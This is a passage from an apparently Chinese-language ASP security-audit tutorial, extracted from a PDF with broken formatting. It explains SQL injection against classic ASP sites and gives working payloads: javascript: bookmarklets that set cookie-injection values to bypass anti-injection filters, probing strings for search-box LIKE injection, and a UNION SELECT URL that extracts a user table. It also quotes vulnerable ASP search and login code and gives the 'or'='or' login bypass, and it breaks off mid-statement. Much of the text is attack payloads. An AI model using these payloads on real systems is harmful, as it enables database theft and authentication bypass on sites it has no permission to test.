quest.cookie 方式来提交变量的值,而绕过了 SQL 防 注入件 cookies 的注入语句:javascript:alert(document.cookie="id="+escape("这就是 asp? id=xx 后面 xx 代表的数值) and (这里是注入攻击代码)"));
2
Asp 安全审计 hi.baidu/micropoor
判断 cookies 注入 js 语句: javascript:alert(document.cookie=" 参 数 = "+escape(" 参 数 值 1=1"));self.open("+"document.location.host+document.location.pathname);void(0); javascript:alert(document.cookie=" 参 数 ="+escape(" 参 数 值 1=2"));self.open("+"document.location.host+document.location.pathname);void(0);
and and
<% : // //搜索型注入: 一般搜索代码: //Select * from 表名 where 字段 like '%关键字%' //Select * from 表名 where 字段 like '关键字 xxx' 1 搜索 keywords ’ 如果出错的话,有 90%的可能性存在漏洞; 2
搜索 keywords%,如果同样出错的话,就有 95%的可能性存在漏洞; 3 搜索 key
words% ’and 1=1 and ’%’=’ 这个语句的功能就相当于普通 SQL 注入的 and 1=1) ( 看返回的情况 4 搜索 keywords% ’and 1=2 and ’%’=’ 这个语句的功能就相当于普通 SQL 注入的 and 1=2) ( 看返回的情况 5 根据两次的返回情况来判断是不是搜索型文本框注入了
百分比符号(%)的含义类似于 DOS 中的通配符“*”,代表多个字符;下划线符号(_)的含义类似于 DOS 中的通配符“?”,代表任意一个字符。 有时候后台添加了上传 asp Cer 等类型的。但是在上传的时候,仍然无法上传。因为存储 IIS 中的 asp。Cer Application 对象还没有更新。那么就找后台更新缓存数据。
<% Dim BigClassId,SmallClassId,SearchCondition,title,Condition,Location,i,news_id Condition = "1=1" BigClassId = Request("BigClassId") SmallClassId = Request("SmallClassId") SearchCondition = Request("SearchCondition") 'SearchConditon = 1 产品名称查找 'SearchConditon = 2 产品说明查找 title = Request("title") If BigClassId <> "" Then Condition = Condition &; " AND BigClassId=" &; BigClassId &; "" End If If SmallClassId <> "" Then Condition = Condition &; " AND SmallClassId=" &; SmallClassId &; "" End If If SearchCondition = "1" Then Condition = Condition &; " AND ProductName LIKE '%" &; ProductName &; "%'" End If
3
Asp 安全审计 hi.baidu.
com/micropoor
If SearchCondition = "2" Then Condition = Condition &; " AND ProductDetail LIKE '%" &; ProductName &; "%'" Else Condition = Condition &; " AND title LIKE '%" &; title &; "%'" End If Set RsProductSearchResult = Server.CreateObject("ADODB.RECORDSET") RsProductSearchResult.Open "Select * FROM news Where "&; Condition &;" orDER BY news_id DESC",conn,1,3 //略 %> 语句变成: Select * FROM news Where 1=1 AND title LIKE '%micropoor%' orDER BY news_id DESC //正 常语句 Select * FROM news Where 1=1 AND title LIKE '%micropoor%' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from user where 1=1 orDER BY news_id DESC // 我们需要的语句 //前半部分的查询为假,后半部分为真,在使用 union 联合查询中,若前面查询为假的话, 那么就返回 union
查询的结果。 最 终 的 的 语 句 就 变 成 : micropoor.asp?title=micropoor%25' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from user where 1=1 and name like '%25admin //闭合 sql 语句 <% // //后台注入 and 'or'='or' 'or'='or': //典型的'or'='or' pwd = request.form("pwd") //获取用户输入的密码,再把值赋给 pwd name = request.form("name") //获取用户输入的用户名再把值赋给 name Set rs = Server.CreateObject("ADODB.Connection") sql = "select * from Manage_User where UserName='" &; name &; "' PassWo